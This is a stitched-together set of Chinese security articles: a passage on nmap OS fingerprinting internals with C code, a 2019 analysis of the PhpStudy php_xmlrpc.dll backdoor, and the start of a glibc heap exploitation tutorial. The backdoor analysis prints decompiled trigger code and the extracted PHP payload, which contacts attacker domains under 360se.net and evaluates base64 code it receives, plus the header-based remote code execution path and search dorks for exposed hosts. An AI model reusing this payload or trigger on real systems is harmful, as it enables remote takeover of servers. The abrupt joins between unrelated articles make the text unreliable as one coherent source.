*p++ = 'S';
q++;
length -= 2;
} else if (opcode == 8) { /* Timestamp */
if (length < 10)
break; /* Timestamp option has 10 bytes */
*p++ = 'T';
q++;
memcpy(&tmpword, q, 4);
if (tmpword)
*p++ = '1';
else
*p++ = '0';
q += 4;
memcpy(&tmpword, q, 4);
if (tmpword)
*p++ = '1';
else
*p++ = '0';
q += 4;
length -= 10;
}
}
if (length > 0) {
/* We could reach here for one of the two reasons:
* 1. At least one option is not correct. (Eg. Should have 4 bytes but only has 3 bytes left).
* 2. The option string is too long.
*/
*result = '\0';
return -1;
}
*p = '\0';
return p - result;
}
#### TCP 初始窗口大小 ( `W`, `W1`– `W6`)
TCP.Windows
#### 响应度 ( `R`)
记录目标是否响应给定的探测。可能的值为`Y`和`N`。如果没有回复，则省略测试的其余字段。
有返回包为Y，否则为N
#### IP 不分片位 ( `DF`)
#define IP_DF 0x4000 /* don't fragment flag */
IP.Flag && IP_DF
#### 不要分段 (ICMP) ( `DFI`)
两个ICMP请求中计算 IP.Flag && IP_DF
* 都为真则为Y
* 一真一假则为S
* 都为假为N
* 否则为0
#### IP 初始生存时间 ( `T`)
IP.TTL
#### IP 初始生存时间猜测 ( TG)
根据ttl算tg
int get_initial_ttl_guess(u8 ttl) {
if (ttl <= 32)
return 32;
else if (ttl <= 64)
return 64;
else if (ttl <= 128)
return 128;
else
return 255;
}
#### 显式拥塞通知 ( `CC`)
此测试仅用于`ECN`探头。该探测是一个 SYN 数据包，其中包括 CWR 和 ECE 拥塞控制标志。当接收到响应 SYN/ACK
时，检查这些标志以设置`CC`（拥塞控制）测试值
/* Explicit Congestion Notification support test */
if ((tcp->th_flags & TH_ECE) && (tcp->th_flags & TH_CWR))
/* echo back */
test.setAVal("CC", "S");
else if (tcp->th_flags & TH_ECE)
/* support */
test.setAVal("CC", "Y");
else if (!(tcp->th_flags & TH_CWR))
/* not support */
test.setAVal("CC", "N");
else
test.setAVal("CC", "O");
#### TCP 杂项怪癖 ( `Q`)
一些tcp怪癖 (俺也不知道现在还有用没)
/* TCP miscellaneous quirks test */
p = quirks_buf;
if (tcp->th_x2) {
/* Reserved field of TCP is not zero */
assert(p + 1 < quirks_buf + sizeof(quirks_buf));
*p++ = 'R';
}
if (!(tcp->th_flags & TH_URG) && tcp->th_urp) {
/* URG pointer value when urg flag not set */
assert(p + 1 < quirks_buf + sizeof(quirks_buf));
*p++ = 'U';
}
*p = '\0';
test.setAVal("Q", hss->target->FPR->cp_dup(quirks_buf, p - quirks_buf));
#### TCP 序列号 ( `S`)
测试返回包中tcp.seq和发送时tcp.ack的关系
/* Seq test values:
Z = zero
A = same as ack
A+ = ack + 1
O = other
*/
if (ntohl(tcp->th_seq) == 0)
test.setAVal("S", "Z");
else if (ntohl(tcp->th_seq) == tcpAck)
test.setAVal("S", "A");
else if (ntohl(tcp->th_seq) == tcpAck + 1)
test.setAVal("S", "A+");
else
test.setAVal("S", "O");
#### TCP 确认号 ( `A`)
/* ACK test values:
Z = zero
S = same as syn
S+ = syn + 1
O = other
*/
if (ntohl(tcp->th_ack) == 0)
test.setAVal("A", "Z");
else if (ntohl(tcp->th_ack) == tcpSeqBase)
test.setAVal("A", "S");
else if (ntohl(tcp->th_ack) == tcpSeqBase + 1)
test.setAVal("A", "S+");
else
test.setAVal("A", "O");
#### TCP 标志 ( `F`)
/* Flags. They must be in this order:
E = ECN Echo
U = Urgent
A = Acknowledgement
P = Push
R = Reset
S = Synchronize
F = Final
*/
struct {
u8 flag;
char c;
} flag_defs[] = {
{ TH_ECE, 'E' },
{ TH_URG, 'U' },
{ TH_ACK, 'A' },
{ TH_PUSH, 'P' },
{ TH_RST, 'R' },
{ TH_SYN, 'S' },
{ TH_FIN, 'F' },
};
assert(sizeof(flag_defs) / sizeof(flag_defs[0]) < sizeof(flags_buf));
p = flags_buf;
for (i = 0; i < (int) (sizeof(flag_defs) / sizeof(flag_defs[0])); i++) {
if (tcp->th_flags & flag_defs[i].flag)
*p++ = flag_defs[i].c;
}
*p = '\0';
test.setAVal("F", hss->target->FPR->cp_dup(flags_buf, p - flags_buf));
#### TCP RST 数据校验和 ( `RD`)
/* Rst Data CRC32 */
length = (int) ntohs(ip->ip_len) - 4 * ip->ip_hl -4 * tcp->th_off;
if ((tcp->th_flags & TH_RST) && length>0) {
test.setAVal("RD", hss->target->FPR->cp_hex(nbase_crc32(((u8 *)tcp) + 4 * tcp->th_off, length)));
} else {
test.setAVal("RD", "0");
}
#### IP总长( `IPL`)
ip.length
#### 未使用的端口不可达字段非零 ( `UN`)
IP字段中 ID和SEQ字段整体的 uin32位数值
#### 返回的探测 IP 总长度值 ( `RIPL`)
UDP测试中，对icmp返回包中ip结构的长度校验，返回长度的十六进制
/* OK, lets check the returned IP length, some systems @$@ this
up */
if (ntohs(ip2->ip_len) == 328)
test.setAVal("RIPL", "G");
else
test.setAVal("RIPL", hss->target->FPR->cp_hex(ntohs(ip2->ip_len)));
#### 返回的探针 IP ID 值 ( `RID`)
UDP测试中，对icmp返回包中ip结构的id校验
/* Now lets see how they treated the ID we sent ... */
if (ntohs(ip2->ip_id) == hss->upi.ipid)
test.setAVal("RID", "G"); /* The good "expected" value */
else
test.setAVal("RID", hss->target->FPR->cp_hex(ntohs(ip2->ip_id)));
#### 返回的探测 IP 校验和值的完整性 ( `RIPCK`)
UDP测试中，对icmp返回包中ip完整性校验
/* Let us see if the IP checksum we got back computes */
/* Thanks to some machines not having struct ip member ip_sum we
have to go with this BS */
checksumptr = (unsigned short *) ((char *) ip2 + 10);
checksum = *checksumptr;
if (checksum == 0) {
test.setAVal("RIPCK", "Z");
} else {
*checksumptr = 0;
if (in_cksum((unsigned short *)ip2, 20) == checksum) {
test.setAVal("RIPCK", "G"); /* The "expected" good value */
} else {
test.setAVal("RIPCK", "I"); /* They modified it */
}
*checksumptr = checksum;
}
#### 返回的探测 UDP 校验和的完整性 ( `RUCK`)
/* UDP checksum */
if (udp->uh_sum == hss->upi.udpck)
test.setAVal("RUCK", "G"); /* The "expected" good value */
else
test.setAVal("RUCK", hss->target->FPR->cp_hex(ntohs(udp->uh_sum)));
#### 返回的 UDP 数据的完整性 ( `RUD`)
/* Finally we ensure the data is OK */
datastart = ((unsigned char *)udp) + 8;
dataend = (unsigned char *) ip + ntohs(ip->ip_len);
while (datastart < dataend) {
if (*datastart != hss->upi.patternbyte)
break;
datastart++;
}
if (datastart < dataend)
test.setAVal("RUD", "I"); /* They modified it */
else
test.setAVal("RUD", "G");
#### ICMP 响应代码 ( `CD`)
/* ICMP Code value. Test values:
* [Value]. Both set Code to the same value [Value];
* S. Both use the Code that the sender uses;
* O. Other.
*/
value1 = icmp1->icmp_code;
value2 = icmp2->icmp_code;
if (value1 == value2) {
if (value1 == 0)
test.setAVal("CD", "Z");
else
test.setAVal("CD", hss->target->FPR->cp_hex(value1));
}
else if (value1 == 9 && value2 == 0)
/* both the same as in the corresponding probe */
test.setAVal("CD", "S");
else
test.setAVal("CD", "O");
## 指纹匹配
nmap os指纹文件在<https://github.com/nmap/nmap/blob/master/nmap-os-db>
### nmap指纹解析
Fingerprint关键字定义一个新的指纹，紧随其后的是指纹名字。
Class行用于指定该指纹所属的类别，依次指定该系统的vendor（生产厂家）,OS family（系统类别）,OS
generation（第几代操作系统）,and device type（设备类型）。
接下来是CPE行，此行非常重要，使用CPE（CommonPlatformEnumeration，通用平台枚举）格式描述该系统的信息。以标准的CPE格式来描述操作系统类型，便于Nmap与外界信息的交换，比如可以很快从网上开源数据库查找到CPE描述的操作系统具体信息。
剩下`SEQ OPS WIN`等等即各类指纹类型。
#### 表达式
指纹可以是表达式类型的，nmap支持的表达式
* 大于：>
* 小于：<
* 范围： 1-3
* 或关系： GCD=1-6|64|256
#### 指纹解析代码
nmap的指纹解析在`parse_fingerprint_file`函数。通过遍历每一行，`\n`和`#`开头的跳过，`Fingerprint`开头则创建新指纹，`Class`，`CPE`开头即新指纹的属性，发现`(`、`)`字符即新的指纹内容。
精简后的代码如下
FingerPrintDB *parse_fingerprint_file(const char *fname) {
fp = fopen(fname, "r");
top:
while (fgets(line, sizeof(line), fp)) {
lineno++;
/* Read in a record */
// 换行 和 # 开头的跳过
if (*line == '\n' || *line == '#')
continue;
fparse:
if (strncmp(line, "Fingerprint", 11) == 0) {
// 指纹的开始行,创建新指纹
current = new FingerPrint;
} else if (strncmp(line, "MatchPoints", 11) == 0) {
// 这是MatchPoint
} else {
error("Parse error on line %d of nmap-os-db file: %s", lineno, line);
continue;
}
DB->prints.push_back(current);
p = line + 12;
while (*p && isspace((int) (unsigned char) *p))
p++;
q = strpbrk(p, "\n#");
while (isspace((int) (unsigned char) *(--q)));
current->match.OS_name = cp_strndup(p, q - p + 1); // 当前指纹os name
current->match.line = lineno; // 当前指纹行数
/* Now we read the fingerprint itself */
while (fgets(line, sizeof(line), fp)) {
lineno++;
if (*line == '#')
continue;
if (*line == '\n')
break;
q = strchr(line, '\n');
if (0 == strncmp(line, "Fingerprint ",12)) {
goto fparse;
} else if (strncmp(line, "Class ", 6) == 0) {
parse_classline(current, line, q, lineno);
} else if (strncmp(line, "CPE ", 4) == 0) {
parse_cpeline(current, line, q, lineno);
} else {
p = line;
q = strchr(line, '(');
FingerTest test(FPstr(p, q), *DB->MatchPoints);
p = q+1;
q = strchr(p, ')');
if (!test.str2AVal(p, q)) {
error("Parse error on line %d of nmap-os-db file: %s", lineno, line);
goto top;
}
current->setTest(test);
}
}
}
fclose(fp);
return DB;
}
### 指纹匹配算法
指纹的第一行有个叫`MatchPoints`的东东，它不是指纹，它定义了指纹的权重
# This first element provides the number of points every fingerprint
# test is worth. Tests like TTL or Don't fragment are worth less
# (individually) because there are so many of them and the values are
# often correlated with each other. Meanwhile, elements such as TS
# (TCP timestamp) which are only used once, get more points. Points
# are used when there are no perfect matches to determine which OS
# fingerprint matches a target machine most closely.
MatchPoints
SEQ(SP=25%GCD=75%ISR=25%TI=100%CI=50%II=100%SS=80%TS=100)
OPS(O1=20%O2=20%O3=20%O4=20%O5=20%O6=20)
WIN(W1=15%W2=15%W3=15%W4=15%W5=15%W6=15)
ECN(R=100%DF=20%T=15%TG=15%W=15%O=15%CC=100%Q=20)
T1(R=100%DF=20%T=15%TG=15%S=20%A=20%F=30%RD=20%Q=20)
T2(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
T3(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
T4(R=100%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
T5(R=100%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
T6(R=100%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
T7(R=80%DF=20%T=15%TG=15%W=25%S=20%A=20%F=30%O=10%RD=20%Q=20)
U1(R=50%DF=20%T=15%TG=15%IPL=100%UN=100%RIPL=100%RID=100%RIPCK=100%RUCK=100%RUD=100)
IE(R=50%DFI=40%T=15%TG=15%CD=100)
nmap通过逐行对比指纹，指纹正确加上权重的分数，最后对每个指纹计算一个概率，即 成功分数/总数，输出概率高的指纹。
nmap默认的概率阈值是0.85，即概率小于这个数，则认为指纹不准确了。
#### 表达式解析
具体的指纹匹配函数，包含解析表达式。val是扫描生成的指纹数值，expr是内置OS库中指纹数值。
* 用`|` 分割expr，分别比对,比对成功直接返回 true
* 将val转为数字，如果val 是数字，就根据逻辑比对 `<` `>` `-` 符号
* 对于其他结果，就直接对比 val和expr的文本即可。
/* Compare an observed value (e.g. "45") against an OS DB expression (e.g.
"3B-47" or "8|A" or ">10"). Return true iff there's a match. The syntax uses
< (less than)
> (greater than)
| (or)
- (range)
No parentheses are allowed. */
static bool expr_match(const char *val, const char *expr) {
const char *p, *q, *q1; /* OHHHH YEEEAAAAAHHHH!#!@#$!% */
char *endptr;
unsigned int val_num, expr_num, expr_num1;
bool is_numeric;
p = expr;
val_num = strtol(val, &endptr, 16);
is_numeric = !*endptr;
// TODO: this could be a lot faster if we compiled fingerprints to a bytecode
// instead of re-parsing every time.
do {
q = strchr(p, '|');
if (is_numeric && (*p == '<' || *p == '>')) {
expr_num = strtol(p + 1, &endptr, 16);
if (endptr == q || !*endptr) {
if ((*p == '<' && val_num < expr_num)
|| (*p == '>' && val_num > expr_num)) {
return true;
}
}
} else if (is_numeric && ((q1 = strchr(p, '-')) != NULL)) {
expr_num = strtol(p, &endptr, 16);
if (endptr == q1) {
expr_num1 = strtol(q1 + 1, &endptr, 16);
if (endptr == q || !*endptr) {
assert(expr_num1 > expr_num);
if (val_num >= expr_num && val_num <= expr_num1) {
return true;
}
}
}
} else {
if ((q && !strncmp(p, val, q - p)) || (!q && !strcmp(p, val))) {
return true;
}
}
if (q)
p = q + 1;
} while (q);
return false;
}
## 用Golang造轮子
上述只是原理，真正写代码调试的时候会遇到更多困难。为什么我发的包和nmap不一样，为什么指纹计算的结果和nmap不一样，为什么指纹匹配不到。有几个小技巧可以缓解一下这些问题。
nmap 有个参数可以显示发送的包 --packet-trace，再将-vv 详细输出打开，事先找好Open和Close的TCP端口，用以下命令
nmap -p80,20 --packet-trace -vv -O 123.123.123.123
能看到具体发送的包和返回的包
以及最终输出的指纹
发包和收包用的是 <https://github.com/google/gopacket>
它基于libpcap，支持多个系统，并且可以发原始数据包。之前写过 <https://github.com/boy-hack/ksubdomain>
，所以对这个库也很熟悉。
nmap也是基于libpcap发包的。
### 数据链路层
因为这个包太底层，以至于要自己组装协议，数据链路层，网络层，传输层，都要自己组装。
对于数据链路层，需要知道自己的网卡Mac以及目标网卡Mac，对于外网，目标网卡就是路由器的Mac，对于内网，目标网卡就是arp探测到的mac。
在ksubdomain中，我用了一个取巧的方式，我先调用系统的nslookup去请求一个地址，然后监听返回包，返回包中会包含`数据链路层`，直接拿来用即可。
这次我采用一个古老又复杂的方法，是 <https://github.com/v-byte-cpu/sx> 这个项目提供的灵感，但它也没有很好实现。
* 先确定目标IP
* 调用系统路由表，确定目标IP该使用的网卡，此时就能获得本地网卡的mac地址和网关IP。
* 调用系统arp缓存，查找目标ip是否有，如果有，就能获得目标地址的网卡mac（无论是内网主机的mac还是网卡的mac，缓存中都有）
* 如果系统arp缓存没有找到，则使用arp协议，像内网段广播获得网关的mac，如果目标IP是同一个网段，则广播查找目标IP的Mac。
### 其他
其他部分暂时没有踩坑，按照nmap源码的实现来就行了。
## 参考
* <https://zhuanlan.zhihu.com/p/66075884>
* <https://nmap.org/book/osdetect-methods.html> | 社区文章 |
**作者：Hcamael@知道创宇404实验室
时间：2019年9月26日**
### 背景介绍
2019/09/20，一则杭州警方通报打击涉网违法犯罪专项行动战果的新闻出现在我的朋友圈，其中通报了警方发现PhpStudy软件被种入后门后进行的侦查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗还挺多的，曾经我还是Web狗的时候也用过几天，不过因为不习惯就卸了。还记得当初会用PhpStudy的原因是在网上自学一些Web方向的课程时，那些课程中就是使用PhpStudy。在拿到样本后，我就对PhpStudy中的后门进行了一波逆向分析。
### 后门分析
最近关于讲phpstudy的文章很多，不过我只得到一个信息，后门在php_xmlrpc.dll文件中，有关键词："eval(%s(%s))"。得知这个信息后，就降低了前期的工作难度。可以直接对该dll文件进行逆向分析。
我拿到的是2018 phpstudy的样本: `MD5 (php_xmlrpc.dll) =
c339482fd2b233fb0a555b629c0ea5d5`
对字符串进行搜索，很容易的搜到了函数：`sub_100031F0`
经过对该函数逆向分析，发现该后门可以分为三种形式：
#### 1.触发固定payload：
v12 = strcmp(**v34, aCompressGzip);
if ( !v12 )
{
v13 = &rce_cmd;
v14 = (char *)&unk_1000D66C;
v42 = &rce_cmd;
v15 = &unk_1000D66C;
while ( 1 )
{
if ( *v15 == '\'' )
{
v13[v12] = '\\';
v42[v12 + 1] = *v14;
v12 += 2;
v15 += 2;
}
else
{
v13[v12++] = *v14;
++v15;
}
v14 += 4;
if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )
break;
v13 = v42;
}
spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);
spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);
v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v17 = *(void **)(v16 + 296);
*(_DWORD *)(v16 + 296) = &v32;
v40 = v17;
v18 = setjmp3((int)&v32, 0);
v19 = v40;
if ( v18 )
{
v20 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;
}
else
{
v20 = a3;
zend_eval_string(v42, 0, &rce_cmd, a3);
}
result = 0;
*(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;
return result;
}
从`unk_1000D66C`到`unk_1000E5C4`为zlib压缩的payload，后门检查请求头，当满足要求后，会获取压缩后的payload，然后执行`@eval(gzuncompress(payload))`，把payload解压后再执行，经过提取，该payload为：
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
#### 2.触发固定的payload2
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 )
{
if ( strlen(byte_100127B8) == 0 )
sub_10004480(byte_100127B8);
if ( strlen(Dest) == 0 )
sub_10004380(Dest);
if ( strlen(byte_100127EC) == 0 )
sub_100044E0(byte_100127EC);
v8 = &rce_cmd;
v9 = asc_1000D028;
v41 = &rce_cmd;
v10 = 0;
v11 = asc_1000D028;
while ( 1 )
{
if ( *(_DWORD *)v11 == '\'' )
{
v8[v10] = 92;
v41[v10 + 1] = *v9;
v10 += 2;
v11 += 8;
}
else
{
v8[v10++] = *v9;
v11 += 4;
}
v9 += 4;
if ( (signed int)v9 >= (signed int)&unk_1000D66C )
break;
v8 = v41;
}
spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);
v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v23 = *(_DWORD *)(v22 + 296);
*(_DWORD *)(v22 + 296) = &v31;
v38 = v23;
v24 = setjmp3((int)&v31, 0);
v25 = v38;
if ( v24 )
{
v26 = a3;
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;
}
else
{
v26 = a3;
zend_eval_string(v41, 0, &rce_cmd, a3);
}
*(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;
if ( dword_1000D010 < 3600 )
dword_1000D010 += 3600;
ftime(&dword_10012AA0);
}
ftime(&dword_10012AB0);
if ( dword_10012AA0 < 0 )
ftime(&dword_10012AA0);
当请求头里面不含有`Accept-Encoding`字段，并且时间戳满足一定条件后，会执行`asc_1000D028`到`unk_1000D66C`经过压缩的payload，同第一种情况。
提取后解压得到该payload：
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
#### 3.RCE远程命令执行
if ( !strcmp(**v34, aGzipDeflate) )
{
if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1
&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 )
{
v40 = base64_decode(**v37, strlen((const char *)**v37));
if ( v40 )
{
v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);
v5 = *(_DWORD *)(v4 + 296);
*(_DWORD *)(v4 + 296) = &v30;
v35 = v5;
v6 = setjmp3((int)&v30, 0);
v7 = v35;
if ( v6 )
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;
else
zend_eval_string(v40, 0, &rce_cmd, a3);
*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;
}
}
当请求头满足一定条件后，会提取一个请求头字段，进行base64解码，然后`zend_eval_string`执行解码后的exp。
研究了后门类型后，再来看看什么情况下会进入该函数触发该后门。查询`sub_100031F0`函数的引用信息发现：
data:1000E5D4 dd 0
.data:1000E5D8 dd 0
.data:1000E5DC dd offset aXmlrpc ; "xmlrpc"
.data:1000E5E0 dd offset off_1000B4B0
.data:1000E5E4 dd offset sub_10001010
.data:1000E5E8 dd 0
.data:1000E5EC dd offset sub_100031F0
.data:1000E5F0 dd offset sub_10003710
.data:1000E5F4 dd offset sub_10001160
.data:1000E5F8 dd offset a051 ; "0.51"
该函数存在于一个结构体中，该结构体为`_zend_module_entry`结构体：
//zend_modules.h
struct _zend_module_entry {
unsigned short size; //sizeof(zend_module_entry)
unsigned int zend_api; //ZEND_MODULE_API_NO
unsigned char zend_debug; //是否开启debug
unsigned char zts; //是否开启线程安全
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name; //扩展名称，不能重复
const struct _zend_function_entry *functions; //扩展提供的内部函数列表
int (*module_startup_func)(INIT_FUNC_ARGS); //扩展初始化回调函数，PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定义的函数
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //扩展关闭时回调函数
int (*request_startup_func)(INIT_FUNC_ARGS); //请求开始前回调函数
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //请求结束时回调函数
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的扩展信息处理函数
const char *version; //版本
...
unsigned char type;
void *handle;
int module_number; //扩展的唯一编号
const char *build_id;
};
`sub_100031F0`函数为`request_startup_func`，该字段表示在请求初始化阶段回调的函数。从这里可以知道，只要php成功加载了存在后门的xmlrpc.dll，那么任何只要构造对应的后门请求头，那么就能触发后门。在Nginx服务器的情况下就算请求一个不存在的路径，也会触发该后门。
由于该后门存在于php的ext扩展中，所以不管是nginx还是apache还是IIS介受影响。
修复方案也很简单，把php的`php_xmlrpc.dll`替换成无后门的版本，或者现在直接去官网下载，官网现在的版本经检测都不存后门。
虽然又对后门的范围进行了一波研究，发现后门只存在于`php-5.4.45`和`php-5.2.17`两个版本中：
$ grep "@eval" ./* -r
Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches
Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
随后又在第三方网站上(<https://www.php.cn/xiazai/gongju/89>)上下载了phpstudy2016，却发现不存在后门:
phpStudy20161103.zip压缩包md5：5bf5f785f027bf0c99cd02692cf7c322
phpStudy20161103.exe md5码：1a16183868b865d67ebed2fc12e88467
之后同事又发了我一份他2018年在官网下载的phpstudy2016，发现同样存在后门，跟2018版的一样，只有两个版本的php存在后门：
MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9
$ grep "@eval" ./* -r
Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches
Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches
查看发现第三方网站上是于2017-02-13更新的phpstudy2016。
### ZoomEye数据
通过ZoomEye探测phpstudy可以使用以下dork：
1. "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45" "Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17" +"X-Powered-By" -> 89,483
2. +"nginx/1.11.5" +"PHP/5.2.17" -> 597 总量共计有90,080个目标现在可能会受到PhpStudy后门的影响。
可能受影响的目标全球分布概况：
可能受影响的目标全国分布概况：
毕竟是国产软件，受影响最多的国家还是中国，其次是美国。对美国受影响的目标进行简单的探查发现基本都是属于IDC机房的机器，猜测都是国人在购买的vps上搭建的PhpStudy。
### 知道创宇云防御数据
知道创宇404积极防御团队检测到2019/09/24开始，互联网上有人开始对PhpStudy后门中的RCE进行利用。
2019/09/24攻击总数13320，攻击IP数110，被攻击网站数6570，以下是攻击来源TOP 20:
攻击来源 | 攻击次数
---|---
*.164.246.149 | 2251
*.114.106.254 | 1829
*.172.65.173 | 1561
*.186.180.236 | 1476
*.114.101.79 | 1355
*.147.108.202 | 1167
*.140.181.28 | 726
*.12.203.223 | 476
*.12.73.12 | 427
*.12.183.161 | 297
*.75.78.226 | 162
*.12.184.173 | 143
*.190.132.114 | 130
*.86.46.71 | 126
*.174.70.149 | 92
*.167.156.78 | 91
*.97.179.164 | 87
*.95.235.26 | 83
*.140.181.120 | 80
*.114.105.176 | 76
2019/09/25攻击总数45012，攻击IP数187，被攻击网站数10898，以下是攻击来源TOP 20:
攻击来源 | 攻击次数
---|---
*.114.101.79 | 6337
*.241.157.69 | 5397
*.186.180.236 | 5173
*.186.174.48 | 4062
*.37.87.81 | 3505
*.232.241.237 | 2946
*.114.102.5 | 2476
*.162.20.54 | 2263
*.157.96.89 | 1502
*.40.8.29 | 1368
*.94.10.195 | 1325
*.186.41.2 | 1317
*.114.102.69 | 1317
*.114.106.254 | 734
*.114.100.144 | 413
*.114.107.73 | 384
*.91.170.36 | 326
*.100.96.67 | 185
*.83.189.86 | 165
*.21.136.203 | 149
攻击源国家分布：
国家 | 数量
---|---
中国 | 34
美国 | 1
韩国 | 1
德国 | 1
省份分布：
省份 | 数量
---|---
云南 | 7
北京 | 6
江苏 | 6
广东 | 4
香港 | 4
上海 | 2
浙江 | 2
重庆 | 1
湖北 | 1
四川 | 1
攻击payload:
* * * | 社区文章 |
# 堆利用系列之开篇
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
堆利用这块内容相对独立但是类型较多，希望本系列文章能够让读者掌握堆利用的一些通用方法，建立堆利用的基本知识体系。
堆是一块需要动态管理的内存，glibc是实现堆管理的库，为了效率更高的管理堆，引入了很多机制，这就给利用堆破坏漏洞实现代码执行提供了很多攻击面。
但是，相比于栈破坏的利用，堆本身就很复杂，需要理解堆的一些关键部分的工作原理，才能更好的写出利用代码，因此我们这篇文章先学习了解下堆的基本概念和关键实现原理。
## 关于libc的版本
malloc和calloc相关的代码都在libc中，但是不同libc版本，malloc的差异性可能会很大，导致需要利用不同的利用方式来针对同一种类型的漏洞。因此，在利用之前一定要搞清楚libc的版本，是uclibc还是glibc，以及具体的子版本号。
## Malloc Chunk
首先我们要学习一下Chunk的基本概念
当我们在调用malloc的时候，就会返回一个指针指向一个chunk
我们的测试代码
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
我们可以看到在panda的前面是有一块描述区的，这一块也是chunk的一部分，我们可以把它叫做metadata部分，他主要是由一块标识前一个chunk大小的和一个表示当前chunk大小的部分组成。在64位中，一个标识的长度是8个字节，在32位中则是4个字节。
0x0: 0x00 - Previous Chunk Size
0x8: 0x21 - Chunk Size
0x10: "pada" - Content of chunk
我们可能会发现，在本例中标识前一个块的大小的是0x0，这是什么意思，这个主要是根据chunk
size这个字段的标识0x21，说明前面一个紧邻的chunk是被使用了，因此previouschunksize这个字段实际上是上一个chunk的数据区部分。换句话说，根据chunk
size字段的最后一位的不同，chunk的结构的意义是不一样的，但是大小是不变的。
Chunk size字段的最后一位是标志着前面一块是否在使用的，1代表着在使用，0代表着没有使用
对于被释放的Chunk，他还有两个字段是用来指向在bin链表中相邻的chunk的，注意bin链表中相邻与实际上的相邻chunk是不一样的。有的bin链表是双向链表，需要使用fd和bk两个字段，有的链表是单向链表，只需要使用fd字段，bk无意义。
## Bins
heap中有各种各样的Bin数据结构，当一个chunk被释放了，会被bin数据结构记录，一般是一个链表。根据被释放的chunk的大小，将他们放到不同的bin中，主要有下面几种bin
* Fast bin：
* Unsorted bin
* Small bin
* Large bin
这个数据结构可以加快下一次分配chunk的时候更加迅速，直接在这些bin中先寻找合适的chunk
### Fast bin
在x64中，Fastbin
chunk的大小是从0x20，到0x80。Fastbin共有7个链表组成，每个链表上维护的chunk的大小都是相同的，通过GEF的 heap bins
fast可以方便的查看各个fast bin链表上的情况
────────────────────── Fastbins for arena 0x7ffff7dd1b20 ──────────────────────
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)
Fastbins[idx=1, size=0x20] ← Chunk(addr=0x602050, size=0x30, flags=PREV_INUSE)
Fastbins[idx=2, size=0x30] ← Chunk(addr=0x602080, size=0x40, flags=PREV_INUSE)
Fastbins[idx=3, size=0x40] ← Chunk(addr=0x6020c0, size=0x50, flags=PREV_INUSE)
